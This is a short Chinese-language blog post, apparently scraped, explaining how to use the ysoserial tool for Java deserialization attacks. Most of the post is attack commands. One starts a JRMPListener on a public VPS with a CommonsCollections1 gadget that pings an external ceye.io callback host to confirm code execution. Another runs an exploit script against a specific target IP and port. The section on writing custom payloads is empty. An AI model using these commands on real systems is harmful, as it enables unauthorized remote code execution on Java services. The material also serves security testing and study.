1. 程式人生 > >反序列化工具ysoserial使用介紹

反序列化工具ysoserial使用介紹

使用方法 lec 分享 tex http ons tps ping vpd

反序列化工具ysoserial使用介紹

0x00 ysoserial是什麽?

ysoserial集合了各種java反序列化payload;
下載地址:https://github.com/angelwhu/ysoserial

0x01 基本使用方法

在公網vps上執行:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener  【port】 CommonsCollections1 ‘【commands】‘

port:公網vps上監聽的端口號
commands:需要執行的命令
例子:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 ‘ping -c 2  rce.267hqw.ceye.io‘

重啟一個shell窗口:

python exploit.py 【目標ip】 【目標端口】 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 【JRMPListener ip】  【JRMPListener port】 JRMPClient

列子:

python exploit.py 118.89.53.139  7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 118.89.53.139  1099 JRMPClient

0x02 在ysoserial編寫自己的payload

待定
技術分享圖片

反序列化工具ysoserial使用介紹